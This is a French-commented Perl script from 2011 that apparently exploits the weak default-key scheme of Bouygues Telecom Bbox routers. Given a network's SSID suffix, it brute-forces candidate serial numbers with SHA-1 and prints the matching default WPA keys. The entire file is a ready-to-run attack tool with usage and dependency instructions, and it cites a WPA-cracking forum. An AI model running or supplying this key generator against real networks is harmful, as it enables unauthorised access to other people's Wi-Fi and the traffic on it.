#!/usr/bin/perl
#
# Générateur de clefs WPA pour les Bbox de Bouygues Telecom.
#
# $Id       : bbox-keygen.pl $
# $HeadURL  : http://bobotig.fr/contenu/contrib/scripts/bbox-keygen.pl $
# $Source   : http://bobotig.fr/contenu/contrib/scripts/bbox-keygen.pl $
# $Author   : BoboTiG $
# $Revision : 3 $
# $Date     : 2011/01/31 $
#
# ----------------------------------------------------------------------
#
# Usage : perl bbox-keygen.pl SSID
#
# ----------------------------------------------------------------------
#
# Dépendances :
#    - cpan -i Digest::SHA1
#
# ----------------------------------------------------------------------
#
# Sources : 
#   - http://www.crack-wpa.fr/forum/viewtopic.php?id=1360
#   - http://blog.madpowah.org/archives/2009/09/index.html#e2009-09-23T00_19_12.txt
#
# ----------------------------------------------------------------------
#
# Chronologie
#	[ 31 janvier 2011 ]
#		- correction de code
#	[ 11 décembre 2010 ]
#		- fix d'une coquille sur le format du SSID donné
#	[ 25 août 2010 ]
#		- code revu, plus court et pertinent
#


use strict;
use feature 'say';
eval 'use Digest::SHA1;';
if ( $@ =~ /Can't locate/ ) {
	say 'Il te manque le module : Digest::SHA1.';
	say 'Pour Debian GNU/Linux  : perl -MCPAN -e "install Digest::SHA1".';
	exit 1;
}
use warnings;


my $ssid = shift || undef;
my $clef = 0;
my @H = qw(41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 
	53 54 55 56 57 58 59 5A 30 31 32 33 34 35 36 37 38 39);
#my $time = (localtime time)[int '5'] + int '1900';

if ( ! defined $ssid ) {
	print "Usage : perl bbox-keygen.pl SSID.\n";
	exit 0;
}
if ( $ssid !~ m/^[a-fA-F0-9]{6}$/ms ) {
	say 'Le SSID doit être du type [a-fA-F0-9]{6}';
	exit 0;
}
say '[-] Recherche de clef(s) pour le SSID "Bbox-'.uc $ssid.'".';
for ( 2008..2010 ) {
	my $y = substr $_, -2;
	say '[+] Année 20'.$y.'...';
	for ( 101..152 ) {
		my $s1 = 'CP'.$y.substr($_, -2);
		for ( 0..35 ) {
			my $s2 = $s1.$H[$_];
			for ( 0..35 ) {
				my $s3 = $s2.$H[$_];
				for ( 0..35 ) {
					my $sn_sha = Digest::SHA1::sha1_hex($s3.$H[$_]);
					if ( substr($sn_sha, -6) eq $ssid ) {
						say '  -> clef possible : '.uc substr($sn_sha, 0, 10);
						if ( ! $clef ) { $clef = 1; }
					}
				}
			}
		}
	}
}
if ( $clef ) { say '[-] Fin.'; }
else { say '[-] Fin - aucune clef trouvée.'; }
exit 0;

